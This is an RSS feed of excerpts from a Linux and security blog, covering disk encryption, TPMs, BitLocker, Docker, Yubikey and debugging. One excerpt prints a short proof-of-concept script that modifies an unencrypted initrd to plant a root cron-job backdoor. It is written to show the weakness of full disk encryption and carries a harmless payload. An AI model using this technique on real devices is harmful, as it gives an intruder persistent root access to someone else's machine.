<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Blogs on debugging works! Linux · Code · Security</title>
    <link>https://debugging.works/blog/</link>
    <description>Recent content in Blogs on debugging works! Linux · Code · Security</description>
    <generator>Hugo</generator>
    <language>en</language>
    <lastBuildDate>Mon, 07 Jul 2025 00:00:00 +0000</lastBuildDate>
    <atom:link href="https://debugging.works/blog/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Full disk encryption on Windows</title>
      <link>https://debugging.works/blog/windows-bitlocker/</link>
      <pubDate>Mon, 07 Jul 2025 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/windows-bitlocker/</guid>
      <description>&lt;p&gt;This is a follow-up of &lt;a href=&#34;https://debugging.works/blog/the-current-state-of-full-disk-encryption-is-still-not-good/&#34;&gt;the How to TPM&lt;/a&gt; blog post. I read a bit more about FDE on Windows. Windows differs between &amp;ldquo;device encryption&amp;rdquo; used on devices running Windows Home edition and BitLocker available only on Windows Pro/Enterprise. Both variations rely on the TPM (binding PCR 7 and 11) and are automatically &lt;a href=&#34;https://www.windowslatest.com/2024/08/11/windows-11-24h2-reduces-bitlocker-eligibility-turns-on-automatic-encryption-for-more-pcs/&#34;&gt;enabled by default&lt;/a&gt;. Technically, the encryption works the same way, but BitLocker gives you more configuration options.&lt;/p&gt;&#xA;&lt;p&gt;I did some tests. I fresh-installed Windows 11 Home and I made the same experience like &lt;a href=&#34;https://www.g1a55er.net/Windows-Local-Account-Unprotected-Key&#34;&gt;this person&lt;/a&gt;: During the installation, I was asked to log in to my Microsoft Account. I don&amp;rsquo;t have on. I used a &lt;a href=&#34;https://www.tomshardware.com/how-to/install-windows-11-without-microsoft-account&#34;&gt;common trick&lt;/a&gt; to bypass this, ending up using a local account.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Remote debugging an unbootable Linux</title>
      <link>https://debugging.works/blog/remote-debugging-unbootable-linux/</link>
      <pubDate>Sun, 22 Jun 2025 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/remote-debugging-unbootable-linux/</guid>
      <description>&lt;p&gt;The resources of this post can be found &lt;a href=&#34;https://github.com/kmille/remote-debugging-unbootable-linux&#34;&gt;on Github&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;One of my friends had a problem with his laptop: It crashed when screensharing was enabled in a Zoom session. I like to empower people to use Linux, thus I&amp;rsquo;m also supporting them when they have problems. So I tried to help.&lt;/p&gt;&#xA;&lt;p&gt;It was an old laptop running Ubuntu 22.04 LTS. Before looking into the screenshare issue, we used Teamviewer for a shared session to update the system  to latest Ubuntu (24.04 LTS). Unfortunately, gdm3 (GNOME display manager) crashed during the update, so we didn&amp;rsquo;t know what was going on. After some time, we rebooted the device by hard resetting it. Then, the machine failed to boot:&lt;/p&gt;</description>
    </item>
    <item>
      <title>The current state of full disk encryption is still not good (2025)</title>
      <link>https://debugging.works/blog/the-current-state-of-full-disk-encryption-is-still-not-good/</link>
      <pubDate>Wed, 18 Jun 2025 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/the-current-state-of-full-disk-encryption-is-still-not-good/</guid>
      <description>&lt;p&gt;I gave a talk about the current state of full disk encryption at GPN23 (20.06.2025).&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/zIa5r31WKcc?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://debugging.works/pdf/slides-fde-2025.pdf&#34;&gt;slides (pdf)&lt;/a&gt;, &lt;a href=&#34;https://cfp.gulas.ch/gpn23/talk/FJMWAE/&#34;&gt;submission&lt;/a&gt;, &lt;a href=&#34;https://media.ccc.de/v/gpn23-162-the-current-state-of-full-disk-encryption-is-still-not-good-2025-&#34;&gt;media.ccc.de&lt;/a&gt;, &lt;a href=&#34;https://youtu.be/zIa5r31WKcc?si=Gm0bESlbMs8a6_qg&#34;&gt;youtube&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;submission--agenda&#34;&gt;&#xA;  Submission / agenda&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#submission--agenda&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;In theory, full disk encryption (FDE) just works. You just have to enable it. But in practice, cops get access to a lot of devices, even when they are encrypted.&lt;/p&gt;</description>
    </item>
    <item>
      <title>FAQ: What is a TPM and how can I use it on Linux?</title>
      <link>https://debugging.works/blog/tpm-explained/</link>
      <pubDate>Sun, 01 Jun 2025 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/tpm-explained/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;Update 2025/06: Adding feedback I got (&lt;a href=&#34;https://debugging.works/blog/tpm-explained/#update-27062025&#34;&gt;jump&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Update 2025/07: Follow-up blog post with a bit more insights about Windows FDE (&lt;a href=&#34;https://debugging.works//blog/windows-bitlocker/&#34;&gt;blog post&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;TLDR&lt;/strong&gt;: The goal of this text is to make TPMs usable for tech nerds (not only TPM experts). There are a lot of important details, but documentation is scattered. I explain the basics of TPMs and how you can use them on Linux for full disk encryption (conceptionally and with Linux hands-on examples). The commands can also be found in this &lt;a href=&#34;https://gist.github.com/kmille/1bc2e4b84adac13f4cc529e9f0b6391a&#34;&gt;Github gist&lt;/a&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>GrapheneOS&#39;s auto reboot feature for Linux laptops</title>
      <link>https://debugging.works/blog/grapheneos-auto-reboot-feature-for-linux/</link>
      <pubDate>Wed, 07 May 2025 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/grapheneos-auto-reboot-feature-for-linux/</guid>
      <description>&lt;p&gt;&lt;strong&gt;TLDR:&lt;/strong&gt; I patched &lt;code&gt;i3lock&lt;/code&gt; to update a file when I unlock my laptop. I wrote a tool monitoring this file. If it is not modified for a specific time, the daemon executes a kill switch command. As my system does not support hibernation, I implemented my own solution using &lt;code&gt;cryptsetup luksSuspend&lt;/code&gt;. The source code can be found on &lt;a href=&#34;https://github.com/kmille/auto-reboot-linux&#34;&gt;Github&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;On my laptop I wanted to have two security features:&lt;/p&gt;&#xA;&lt;h2 id=&#34;hibernate-with-linux-hardened&#34;&gt;&#xA;  hibernate with linux-hardened&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#hibernate-with-linux-hardened&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;When you suspend your system, the RAM keeps its power and its content. When you hibernate, the content of the RAM gets dumped into your (encrypted) swap file. To resume from hibernate on a system using full disk encryption, you have to enter your full disk encryption password first. That&amp;rsquo;s a nice protection from cold boot attacks. But, for security reasons hibernation is not available on Arch Linux when used with the &lt;code&gt;linux-hardened&lt;/code&gt; kernel (&lt;a href=&#34;https://bugs.archlinux.org/task/63648.html#comment181432&#34;&gt;Arch Linux Issue&lt;/a&gt;, &lt;a href=&#34;https://mjg59.dreamwidth.org/55845.html&#34;&gt;blog post&lt;/a&gt;).&lt;/p&gt;</description>
    </item>
    <item>
      <title>Docker: network debugging and firewalling</title>
      <link>https://debugging.works/blog/docker-cheatsheet/</link>
      <pubDate>Wed, 02 Apr 2025 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/docker-cheatsheet/</guid>
      <description>&lt;p&gt;In general I like the &lt;code&gt;nicolaka/netshoot&lt;/code&gt; image for troubleshooting. It has all the tools you need (&lt;code&gt;ip&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;, &amp;hellip;). It&amp;rsquo;s nice for network debugging used with &lt;code&gt;docker run --network=container:$existing_running_containter&lt;/code&gt;. Then you have the same ip/traffic like the container you want to debug. If you&amp;rsquo;re looking for something like top but for containers, I recommend &lt;a href=&#34;https://github.com/bcicen/ctop&#34;&gt;ctop&lt;/a&gt;. Just check the aliases below.&lt;/p&gt;&#xA;&lt;h1 id=&#34;some-aliases&#34;&gt;&#xA;  Some aliases&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#some-aliases&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h1&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#eedd82&#34;&gt;DOCKER_FORMAT&lt;/span&gt;=&lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#34;table {{ .Names }}\t{{ .Image }}\t{{ .Status }}\t{{ .Ports }}\t{{ .Names }}&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;alias &lt;span style=&#34;color:#eedd82&#34;&gt;dl&lt;/span&gt;=&lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#39;docker ps --format &amp;#34;$DOCKER_FORMAT&amp;#34;&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;alias &lt;span style=&#34;color:#eedd82&#34;&gt;dg&lt;/span&gt;=&lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#39;docker ps --format &amp;#34;{{ .Names }}&amp;#34; | rg $1&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;alias &lt;span style=&#34;color:#eedd82&#34;&gt;ctop&lt;/span&gt;=&lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#34;docker run --rm --name ctop -v /var/run/docker.sock:/var/run/docker.sock -it nicolaka/netshoot ctop&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;alias &lt;span style=&#34;color:#eedd82&#34;&gt;deb&lt;/span&gt;=docker_exec_bash&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker_exec_bash() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    docker exec -it &lt;span style=&#34;color:#eedd82&#34;&gt;$1&lt;/span&gt; bash&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;alias &lt;span style=&#34;color:#eedd82&#34;&gt;des&lt;/span&gt;=docker_exec_sh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker_exec_sh() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    docker exec -it &lt;span style=&#34;color:#eedd82&#34;&gt;$1&lt;/span&gt; sh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;alias &lt;span style=&#34;color:#eedd82&#34;&gt;den&lt;/span&gt;=network_debug&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;network_debug() { &lt;span style=&#34;color:#0f0&#34;&gt;# docker exec network (run debug container with network of $1 container)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    docker run --rm --network=container:&lt;span style=&#34;color:#eedd82&#34;&gt;$1&lt;/span&gt; -it nicolaka/netshoot&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;alias &lt;span style=&#34;color:#eedd82&#34;&gt;di&lt;/span&gt;=container_ips&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;container_ips() { &lt;span style=&#34;color:#0f0&#34;&gt;# show all running containers and their ip addresses&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f00&#34;&gt;for&lt;/span&gt; container in &lt;span style=&#34;color:#f00&#34;&gt;$(&lt;/span&gt;docker ps -q&lt;span style=&#34;color:#f00&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f00&#34;&gt;do&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        docker inspect -f &lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#39;{{ .Name }}: {{range.NetworkSettings.Networks}}{{.IPAddress}} {{end}}&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#eedd82&#34;&gt;$container&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f00&#34;&gt;done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id=&#34;firewalling-with-docker&#34;&gt;&#xA;  Firewalling with Docker&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#firewalling-with-docker&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h1&gt;&#xA;&lt;p&gt;Docker automatically adds iptables rules. When port forwarding is configured, it automatically opens ports in the firewall. Some ways to fix that:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Your Linux full disk encryption is useless</title>
      <link>https://debugging.works/blog/your-fde-is-useless/</link>
      <pubDate>Wed, 11 Oct 2023 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/your-fde-is-useless/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;Update 2025-04: Fix typos and some smaller clarifications&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So, you&amp;rsquo;re running Linux with full disk encryption (luks). You feel safe because nobody can access your data. The thing is, if I can modify your boot partition, you&amp;rsquo;re screwed. Not only can I log your password, but I can also simply deploy a backoor. To show you how easy it is, I will show you my &amp;ldquo;exploit&amp;rdquo;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cp /boot/initrd.img-5.15.0-86-generic .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;unmkinitramfs -v initrd.img-5.15.0-86-generic extracted/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cd extracted/main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sed -i &lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#39;s/readonly=y/readonly=n/&amp;#39;&lt;/span&gt; init&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sed -i &lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#39;364 i echo &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#87ceeb&#34;&gt;\&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#39;* * * * * root echo $(date) &amp;gt;&amp;gt; /tmp/hackhack&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#87ceeb&#34;&gt;\&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#87ceeb&#34;&gt;&amp;#39; &amp;gt; &amp;#34;${rootmnt}/etc/cron.d/hackhack&amp;#34;&amp;#39;&lt;/span&gt; init&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;find . | cpio -o -H newc &amp;gt; /boot/initrd.img-5.15.0-86-generic&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;how-the-exploit-works&#34;&gt;&#xA;  How the &amp;ldquo;exploit&amp;rdquo; works&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#how-the-exploit-works&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I take your laptop and boot into my live system&lt;/li&gt;&#xA;&lt;li&gt;I mount the boot partition and extract the initrd (&lt;code&gt;unmkinitramfs initrd.img-5.15.0-86-generic extracted/&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;I add a backdoor and modify the init script (&lt;code&gt;sed&lt;/code&gt; adds a line (a cronjob) at line 364)&lt;/li&gt;&#xA;&lt;li&gt;I rebuild the initrd and overwrite the original one in /boot&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;some-background-information&#34;&gt;&#xA;  Some background information&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#some-background-information&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;When you boot the system, the boot loader loads and extracts the kernel and initrd into memory. The initrd is just a small filesystem with &lt;code&gt;/etc&lt;/code&gt;, &lt;code&gt;/usr/bin&lt;/code&gt;, &amp;hellip; At this point during boot, the initrd has two tasks:&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to Yubikey: a configuration cheatsheet</title>
      <link>https://debugging.works/blog/yubikey-cheatsheet/</link>
      <pubDate>Wed, 01 Mar 2023 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/yubikey-cheatsheet/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;Update 2025/04: Add section &amp;ldquo;Disk encryption: LUKS + fido2 device&amp;rdquo;&lt;br&gt;&#xA;Update 2025/04: Add section &amp;ldquo;Change FIDO2/U2F pin&amp;rdquo;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This post shows different use cases for a Yubikey. There are also command line examples in a cheatsheet like manner. I&amp;rsquo;m using a Yubikey 5C on Arch Linux. If you run into issues, try to use a newer version of &lt;code&gt;ykman&lt;/code&gt; (part of &lt;a href=&#34;https://archlinux.org/packages/community/any/yubikey-manager/&#34;&gt;yubikey-manager&lt;/a&gt; package on Arch).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kmille@linbox:~ ykman --version&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;YubiKey Manager (ykman) version: 4.0.9&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Some features depend on the firmware version of the Yubikey. The tooling (like the wording) around the Yubikey is sometimes a bit confusing. I use this guide as a reference if I need to reconfigure something after a long time. It helped me in the past, so I made a clean rewrite. I hope it helps you too. Please get in contact with me if something is wrong/missing (&lt;a href=&#34;https://news.ycombinator.com/item?id=35091768&#34;&gt;Hacker News discussion&lt;/a&gt;).&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to debug a firejail sandbox</title>
      <link>https://debugging.works/blog/debugging-firejail/</link>
      <pubDate>Sat, 24 Dec 2022 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/debugging-firejail/</guid>
      <description>&lt;p&gt;So, what it firejail? The &lt;a href=&#34;https://firejail.wordpress.com/&#34;&gt;website&lt;/a&gt; says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Firejail is a SUID program that reduces the risk of security breaches by restricting the running environment of untrusted applications using Linux namespaces and seccomp-bpf. It allows a process and all its descendants to have their own private view of the globally shared kernel resources, such as the network stack, process table, mount table.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It&amp;rsquo;s basically an easy-to-use sandbox of the risk of running everything as root (because it&amp;rsquo;s a setuid binary, even if it drops privileges later). Here is a small example:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Kein Internet im Flixzug unter Linux</title>
      <link>https://debugging.works/blog/flixtrain-internet/</link>
      <pubDate>Thu, 24 Nov 2022 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/flixtrain-internet/</guid>
      <description>&lt;p&gt;Ich sitze gerade im Flixzug und habe wieder das Problem, dass das Internet nicht funktioniert. Auf dem Handy klappt es wie immer problemlos. Was nicht klappt ist die AGBs vom Flixzug zu akzeptieren, um das Internet freigeschaltet zu bekommen. Auf dem Handy poppt einfach ein Browser-Fenster auf, in dem ich auf &lt;code&gt;Akzeptieren&lt;/code&gt; klicken kann. Los ging die Debug-Session:&lt;/p&gt;&#xA;&lt;p&gt;Firefox erkennt, dass es im WLAN ein Captive Portal gibt.&#xA;&lt;figure&gt;&lt;img src=&#34;https://debugging.works/images/flixzug-internet/firefox-portal.png&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;Dazu ruft Firefox eine vordefinierte URL auf, die normalerweise keinen Redirect (302) zurückgibt:&lt;/p&gt;</description>
    </item>
    <item>
      <title>PoC: Implementing evil maid attack on encrypted /boot</title>
      <link>https://debugging.works/blog/evil-maid-attack/</link>
      <pubDate>Sun, 29 May 2022 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/evil-maid-attack/</guid>
      <description>&lt;p&gt;I gave a talk at &lt;a href=&#34;https://entropia.de/GPN20&#34;&gt;GPN20&lt;/a&gt; about a proof of concept I wrote: an implementation of &lt;a href=&#34;https://en.wikipedia.org/wiki/Evil_maid_attack&#34;&gt;evil maid attack&lt;/a&gt; on devices with an encrypted /boot partition. It covers Linux using GRUB and LUKS. You&amp;rsquo;ll find the recording on YouTube. For more information and code checkout the &lt;a href=&#34;https://github.com/kmille/evil-maid-attack-on-encrypted-boot&#34;&gt;Github repository&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/5HCZXWfIk5Y?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;You can also watch it on &lt;a href=&#34;https://media.ccc.de/v/gpn20-32-poc-implementing-evil-maid-attack-on-encrypted-boot&#34;&gt;media.ccc.de&lt;/a&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to analyze a core dump on Linux</title>
      <link>https://debugging.works/blog/analyzing-linux-coredump/</link>
      <pubDate>Thu, 28 Jan 2021 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/analyzing-linux-coredump/</guid>
      <description>&lt;h3 id=&#34;some-tools-links-and-snippets-for-debugging-software-on-arch-linux&#34;&gt;&#xA;  Some tools, links and snippets for debugging software on (Arch) Linux&#xA;  &lt;a class=&#34;heading-link&#34; href=&#34;#some-tools-links-and-snippets-for-debugging-software-on-arch-linux&#34;&gt;&#xA;    &lt;i class=&#34;fa fa-link&#34; aria-hidden=&#34;true&#34;&gt;&lt;/i&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;On Arch Linux, we get &amp;ldquo;unlimited&amp;rdquo; core dumps. They are stored in the &lt;code&gt;/var/lib/systemd/coredump&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kmille@linbox:~ ulimit -c&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;unlimited&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kmille@linbox:~ cat /proc/sys/kernel/core_pattern&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|/usr/lib/systemd/systemd-coredump %P %u %g %s %t %c %h&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kmille@linbox:~ file /var/lib/systemd/coredump/* | head -n &lt;span style=&#34;color:#f60&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/var/lib/systemd/coredump/core.a&lt;span style=&#34;color:#87ceeb&#34;&gt;\x&lt;/span&gt;2eout.1000.cb780d16ec3e434aaaa6a69c01e0abe8.1270928.1611849944000000.zst:      Zstandard compressed data (v0.8+), Dictionary ID: None&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;List the core dumps.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kmille@linbox:~ coredumpctl list&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TIME                            PID   UID   GID SIG COREFILE  EXE&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 